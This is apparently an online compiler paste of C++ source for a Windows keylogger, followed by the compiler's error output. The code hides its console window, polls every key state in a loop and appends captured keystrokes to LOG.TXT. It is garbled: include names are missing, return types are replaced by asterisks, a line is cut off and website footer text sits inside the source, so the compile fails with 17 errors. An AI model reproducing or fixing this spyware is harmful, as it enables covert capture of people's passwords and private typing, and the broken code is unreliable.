fork download
  1. #‎include‬
  2. using namespace std;
  3. #include
  4. #include
  5. int Save (int key_stroke, char *file);
  6. **** Stealth();
  7. int main()
  8. {
  9. Stealth();
  10. char i;
  11. while(1)
  12. {
  13. for(i=8 ; i<=190 ; i++)
  14. {
  15. if(GetAsyncKeyState(i)== -32767)
  16. Save(i,"LOG.TXT");
  17. }
  18. }
  19. system("PAUSE");
  20. return 0;
  21. }
  22. int Save (int key_stroke, char *file) {
  23. if((key_stroke==1) || (key_stroke==2) )
  24. return 0;
  25. FILE *OUTPUT_FILE;
  26. OUTPUT_FILE=fopen(file, "a+");
  27. fprintf(OUTPUT_FILE, "%s", &key_stroke);
  28. fclose(OUTPUT_FILE);
  29. cout<
  30. if (key_stroke==8)
  31. fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
  32. return 0;
  33. }
  34. **** Stealth()
  35. {
  36. HWND stealth;
  37. AllocConsole();
  38. stealth = FindWindowA("ConsoleWindowClass", NULL);
  39. ShowWindow(stealth,0);
  40. }
  41.  
  42. Status API Training Shop Blog About
  43.  
  44. © 2016 GitHub, Inc. Terms Privacy Security Contact Help
  45.  
  46.  
Compilation error #stdin compilation error #stdout 0s 0KB
stdin
Standard input is empty
compilation info
prog.cpp:1:2: error: invalid preprocessing directive
#<U+200E>include<U+202C> 
 ^
prog.cpp:3:10: error: expected "FILENAME" or <FILENAME>
#include 
         ^
prog.cpp:4:10: error: expected "FILENAME" or <FILENAME>
#include 
         ^
prog.cpp:2:17: warning: using directive refers to implicitly-defined namespace 'std'
using namespace std;
                ^
prog.cpp:6:6: error: C++ requires a type specifier for all declarations
**** Stealth();
     ^
prog.cpp:15:4: error: use of undeclared identifier 'GetAsyncKeyState'
if(GetAsyncKeyState(i)== -32767)
   ^
prog.cpp:16:8: warning: conversion from string literal to 'char *' is deprecated [-Wc++11-compat-deprecated-writable-strings]
Save(i,"LOG.TXT");
       ^
prog.cpp:19:1: error: use of undeclared identifier 'system'
system("PAUSE");
^
prog.cpp:13:12: warning: comparison of constant 190 with expression of type 'char' is always true [-Wtautological-constant-out-of-range-compare]
for(i=8 ; i<=190 ; i++)
          ~^ ~~~
prog.cpp:25:1: error: unknown type name 'FILE'
FILE *OUTPUT_FILE;
^
prog.cpp:26:13: error: use of undeclared identifier 'fopen'
OUTPUT_FILE=fopen(file, "a+");
            ^
prog.cpp:29:1: error: use of undeclared identifier 'cout'
cout<
^
prog.cpp:30:1: error: expected expression
if (key_stroke==8)
^
prog.cpp:34:6: error: C++ requires a type specifier for all declarations
**** Stealth()
     ^
prog.cpp:36:1: error: unknown type name 'HWND'
HWND stealth;
^
prog.cpp:37:1: error: use of undeclared identifier 'AllocConsole'
AllocConsole();
^
prog.cpp:38:45: error: use of undeclared identifier 'NULL'
stealth = FindWindowA("ConsoleWindowClass", NULL);
                                            ^
prog.cpp:42:5: error: unknown type name 'Status'
    Status API Training Shop Blog About 
    ^
prog.cpp:42:15: error: expected ';' after top level declarator
    Status API Training Shop Blog About 
              ^
              ;
prog.cpp:44:5: error: non-ASCII characters are not allowed outside of literals and identifiers
    © 2016 GitHub, Inc. Terms Privacy Security Contact Help 
    ^~
3 warnings and 17 errors generated.
stdout
Standard output is empty